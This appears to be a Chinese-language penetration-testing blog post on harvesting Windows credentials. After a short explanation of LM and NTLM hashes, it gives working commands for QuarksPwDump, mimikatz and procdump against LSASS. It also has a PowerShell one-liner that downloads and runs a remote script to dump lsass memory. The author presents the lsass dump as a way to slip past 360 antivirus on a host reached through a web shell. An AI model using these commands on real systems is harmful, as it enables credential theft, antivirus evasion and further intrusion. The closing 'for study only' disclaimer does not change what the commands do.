首先,還是回顧一下windows系統密碼Hash的一些知識吧:(下面這段來自網絡)
首先介紹一下windows密碼Hash:
早期SMB協議在網絡上傳輸明文口令。后來出現"LAN Manager Challenge/Response"驗證機制,簡稱LM,它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰/響應驗證機制,稱之為NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。Windows加密過的密碼口令,我們稱之為hash(中文:哈希),Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。
NTLM-Hash與LM-Hash算法相比,明文口令大小寫敏感,但無法根據NTLM-Hash判斷原始明文口令是否小於8字節,擺脫了魔術字符串"KGS!@#$%"。MD4是真正的單向哈希函數,窮舉做為數據源出現的明文,難度較大。問題在於,微軟一味強調NTLM-Hash的強度高,卻避而不談一個事實,為了保持向后兼容性,NTLM-Hash缺省總是與LM-Hash一起使用的。這意味着NTLM-Hash強調再高也是無助於安全的,相反潛在損害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱點窮舉出原始明文口令的大小寫不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。
Windows系統下的hash密碼格式為:用戶名稱:RID:LM-HASH值:NT-HASH值,例如:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用戶名稱為:Administrator
RID為:500
LM-HASH值為:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值為:683020925C5D8569C23AA724774CE6CC
如果你知道這個用戶的hash密碼了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在線查詢網站。
一般我用QuarksPwDump_v0.2b來抓取整個windows系列的密碼hash,在windows server 2003那是一抓一個准,得到的hash值在http://www.objectif-securite.ch/en/ophcrack.php簡直是秒破。那么,問題來了,我在windows server 2008 和windows server2012下抓取的密碼卻是有些奇怪,按照軟件介紹windows server2008和windows server2012都是可以抓取的。好了,我還是結合虛擬機系統來說明一下。目前正好虛擬機打開的是windows server2012,那就先用它來演示一下吧。
QuarksPwDump抓取密碼的命令如下:(其他命令可以參考軟件說明)
quarkspwdump.exe -dhl
結合圖示,我們來看一下:
好像是抓取了系統的Hash了,按照前面對windows Hash知識的介紹:
LM-HASH的值是AAD3B435B51404EEAAD3B435B51404EE
NT-HASH的值是CE770E312D64AE0933D455B994E9C97D
那好,我拿得到的整個HASH值拿去在線破解,結果如下:
破解不出來,對不對。這下是不是覺得很囧。
我們拿出另一款密碼抓取神器mimikatz來試一下,和上面的結果做一下比較。命令如下:
首先輸入命令:
privilege::debug
接着輸入命令:
sekurlsa::logonpasswords
圖示結果如下:
有沒有發現,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系統密碼給取到了。NT-HASH兩款軟件得到的結果是一樣的。
好,再說一點滲透測試過程中的思路,我也是昨天才知道,滲透測試真的是一個漫長的經驗積累過程。先說下場景,我已經chopper連上對方主機,但是系統默認安裝了360殺毒軟件和360安全衛士。我上傳的mimikatz和QuarksPwDump都被查殺了。也就是說我想利用這兩款軟件常規思路獲取系統的密碼HASH已經是不太可能了。其實,我們可以先dump對方主機的LSASS內存文件,然后在自己主機用mimikatz進行處理,這樣就可以得到對方主機的系統HASH和密碼了。還是以虛擬機的windows server2012還演示一下。
可以到微軟的官方網站下載ProDump,最新版本為v7.01,這個肯定不會引起殺毒軟件的報毒和查殺了。
命令如下:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
圖示如下:
接下來,再演示一下本地用mimikatz進行破解:
首先輸入命令:
mimikatz.exe "sekurlsa::minidump lsass.dmp"
接着輸入命令:
sekurlsa::logonpasswords
結果圖示如下:
可以看到,能夠得到離線得到系統密碼,這樣就可以在對方主機上繞過殺毒軟件的查殺了。
在烏雲知識庫中也有看到利用PowerShell完成Prodump一樣工作的命令。具體命令如下:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
在虛擬機下的windows server2012下進行嘗試,結果失敗了,不知道什么鬼:
繼續嘗試,又成功了。囧,如圖所示:
在虛擬機中windows server2008中進行嘗試,得到如下圖所示:
進行破解,得到如下圖所示:
我在被滲透主機上進行嘗試過,發現也是可行的,不過chopper的虛擬終端下會顯示錯誤,實際上已經成功執行Powershell代碼。不過總體感覺還是Prodump用起來更加方便。
對了,Metasploit中也有集成mimkatz的。具體教程可以參考http://www.offensive-security.com/metasploit-unleashed/Mimikatz
好了,就說到這里。算是留個筆記,僅供滲透交流學習,請不要用於非法途徑。